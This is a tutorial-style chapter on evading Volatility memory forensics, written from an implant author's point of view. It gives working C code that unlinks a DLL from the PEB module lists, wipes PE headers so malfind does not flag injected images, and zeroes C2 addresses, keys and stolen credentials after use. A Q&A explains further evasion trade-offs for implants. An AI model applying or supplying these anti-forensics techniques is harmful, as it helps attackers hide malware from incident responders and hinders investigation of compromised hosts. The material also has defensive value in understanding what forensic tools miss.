Memory Forensics Evasion
When incident responders arrive on a compromised host, their first technical step is often a memory dump — capturing the full RAM contents for offline analysis with Volatility. Memory forensics can recover injected shellcode, running implants, decrypted payloads, process hollowed images, and heap strings. A well-designed implant minimizes what forensic analysts can recover: by erasing itself from the process's module list, by decrypting only small portions of the payload at a time, by zeroing sensitive data immediately after use, and by selecting injection techniques that don't leave obvious VAD (Virtual Address Descriptor) anomalies in the memory map.
What Volatility Finds and How
Volatility plugin What it finds Source of artifact
─────────────────────────────────────────────────────────────────────────
pslist / pstree Running processes PEB-linked process list
and EPROCESS linked list
malfind Injected code VAD regions with RWX or RX
permissions that don't map
to a file on disk
dlllist Loaded DLLs per process LDR_DATA_TABLE_ENTRY list
in the PEB
handles Open handles (files, Object handle table in EPROCESS
registry keys, processes)
cmdline / cmdscan Command line arguments PEB.ProcessParameters
netscan / netstat Network connections TCP/UDP object tables in
kernel nonpaged pool
printkey Registry keys and values Registry hives (in memory)
strings / yarascan Raw strings in memory Entire memory range scan
Key insight: most Volatility plugins use KERNEL DATA STRUCTURES,
not user-mode memory. Patching PEB fields in user-mode only affects
what user-mode tools see — kernel EPROCESS structures are different.
Hiding from pslist: unlink from EPROCESS list (requires kernel access)
Hiding from pstree (PEB walk): patch PEB process name field
Hiding from dlllist: unlink from LDR_DATA_TABLE_ENTRY (user-mode patching)Memory Forensics Evasion Techniques
/* mem_forensics_evade.c — Reduce memory forensics artifacts */
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
/* ── Technique 1: Unlink DLL from LDR_DATA_TABLE_ENTRY list ────────── */
/*
* When a DLL loads, it's added to three doubly-linked lists in the PEB:
* PEB.Ldr.InLoadOrderModuleList
* PEB.Ldr.InMemoryOrderModuleList
* PEB.Ldr.InInitializationOrderModuleList
*
* Volatility's dlllist plugin walks these lists.
* Unlinking your DLL from all three makes it invisible to dlllist.
* The DLL code is still in memory and still executes — it just doesn't
* appear in the module list.
*
* Used by: Reflective DLL injection (Ch29) — the reflective loader
* intentionally does NOT add itself to the LDR lists.
*/
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
/* ... more fields */
} LDR_MODULE, *PLDR_MODULE;
static void unlink_module_from_peb(HMODULE hMod) {
/* Walk the LDR list to find the entry for hMod */
PPEB peb;
#ifdef _WIN64
peb = (PPEB)__readgsqword(0x60);
#else
peb = (PPEB)__readfsdword(0x30);
#endif
PPEB_LDR_DATA ldr = peb->Ldr;
/* Walk InLoadOrderModuleList */
PLIST_ENTRY head = &ldr->InLoadOrderModuleList;
PLIST_ENTRY curr = head->Flink;
while (curr != head) {
PLDR_MODULE entry = CONTAINING_RECORD(
curr, LDR_MODULE, InLoadOrderModuleList);
if (entry->BaseAddress == (PVOID)hMod) {
/* Unlink from InLoadOrderModuleList */
PLIST_ENTRY prev = curr->Blink;
PLIST_ENTRY next = curr->Flink;
prev->Flink = next;
next->Blink = prev;
/* Unlink from InMemoryOrderModuleList */
PLIST_ENTRY m = &entry->InMemoryOrderModuleList;
m->Blink->Flink = m->Flink;
m->Flink->Blink = m->Blink;
/* Unlink from InInitializationOrderModuleList */
PLIST_ENTRY i = &entry->InInitializationOrderModuleList;
i->Blink->Flink = i->Flink;
i->Flink->Blink = i->Blink;
printf("[+] DLL at %p unlinked from PEB module list\n", (PVOID)hMod);
break;
}
curr = curr->Flink;
}
}
/* ── Technique 2: Zero sensitive strings in process memory ─────────── */
/*
* Strings in heap and stack memory are recovered by Volatility's 'strings'
* plugin and 'yarascan'. Zero them immediately after use.
*
* Particularly important for:
* - C2 domain/IP address
* - Encryption keys
* - Stolen credentials (passwords, NTLM hashes)
* - Command output from victim machine
*/
static void zero_sensitive_data(PVOID data, SIZE_T size) {
SecureZeroMemory(data, size);
}
/* ── Technique 3: Overwrite PE headers after loading ────────────────── */
/*
* When Volatility's malfind plugin finds suspicious RX memory, it checks
* if the memory starts with the PE magic "MZ" (4D 5A). If it does:
* → "this is an injected PE" → high confidence alert
*
* Overwriting the PE header after loading (after the loader has finished
* using it) removes the MZ signature from memory — malfind doesn't
* recognize it as a PE.
*
* The PE only needs its header during:
* - LoadLibrary / reflective loading (reads sections, relocations, imports)
* After that: the header is useless. Overwrite it.
*/
static void wipe_pe_header(HMODULE hMod) {
PVOID header = (PVOID)hMod; /* PE header is at module base (first ~0x1000 bytes) */
DWORD old_protect;
/* Make the header page writable */
if (!VirtualProtect(header, 0x1000, PAGE_EXECUTE_READWRITE, &old_protect)) {
printf("[-] VirtualProtect on PE header failed\n");
return;
}
/* Zero the entire header page */
SecureZeroMemory(header, 0x1000);
/* Restore original protection */
VirtualProtect(header, 0x1000, old_protect, &old_protect);
printf("[+] PE header zeroed — MZ signature removed from memory\n");
}
/* ── Technique 4: Avoid heap allocations for sensitive data ─────────── */
/*
* Heap allocations persist in memory until freed AND until the heap
* manager overwrites the freed block (which happens lazily, if at all).
* A memory dump taken AFTER you free() a sensitive buffer may still
* contain the data in the freed block.
*
* Alternative: use VirtualAlloc → zero → VirtualFree for sensitive data.
* VirtualFree with MEM_RELEASE immediately returns pages to the OS
* (physical pages are recycled), reducing the forensic window.
*
* Also: use stack-allocated buffers for short-lived sensitive strings
* (they're automatically overwritten as the stack grows and function
* frames are reused).
*/
static void secure_buffer_operation(void) {
/* Allocate a private page for sensitive data */
PVOID sensitive_buf = VirtualAlloc(NULL, 4096,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (!sensitive_buf) return;
/* Use it for sensitive operations */
memcpy(sensitive_buf, "secret_password_123", 20);
/* ... use the data ... */
/* Zero before freeing */
SecureZeroMemory(sensitive_buf, 4096);
VirtualFree(sensitive_buf, 0, MEM_RELEASE); /* pages returned to OS */
}
Questions & Answers
If you unlink your DLL from the PEB's module list, does GetModuleHandle still find it?
No — GetModuleHandle walks the PEB's Ldr.InLoadOrderModuleList to find modules by name. After unlinking from all three LDR lists, GetModuleHandle(your_dll_name) returns NULL. Any code that needs to call back into your DLL cannot find it by name. This is why reflective DLLs (Ch29) maintain their own function pointer table or export the entry function at a fixed offset: they expect to be called directly via the address stored during injection, not via GetModuleHandle/GetProcAddress lookup. The upside: forensic tools like Volatility's dlllist also walk these same lists, so they don't find your DLL either. The trade-off is that you must manage your own function addressing without relying on the normal module lookup mechanisms.
Does wiping the PE header break anything in a loaded DLL?
After initial loading completes, no — assuming you've already processed all imports (IAT resolved), applied relocations, and run TLS callbacks. The PE header is used by the loader during those initialization steps. After LoadLibrary (or your reflective loader) finishes, the header bytes in memory are never accessed again by normal code paths. The exception: some DLLs read their own PE headers at runtime for embedded configuration (e.g., reading resources from the .rsrc section, or version checking). If your DLL does this, wiping the header breaks it. For shellcode or simple implants that don't read their own PE structure post-load, wiping is safe. Also: Visual Studio's CRT debug runtime checks PE header fields; if you're using the debug CRT and wipe the header, the CRT will fail an assertion. Use release builds for implants.
Can Volatility detect process injection even if the injected code has no PE header?
Yes — via the malfind plugin's secondary detection method. malfind looks for VAD regions that are: (1) executable, (2) not backed by a file on disk (anonymous allocation), and (3) have been written to. A shellcode blob injected via VirtualAllocEx + WriteProcessMemory satisfies all three criteria even without a PE header. The absence of an MZ header makes malfind not flag it as an injected PE, but the plugin still reports the region as suspicious anonymous executable memory. Analysts then dump the region and run disassemblers on the raw bytes. Module stomping (Ch28) evades this because the memory IS backed by a file (the stomped DLL's mapping) — but the content has been overwritten with your shellcode, which a careful analyst will notice by comparing the in-memory bytes to the file on disk.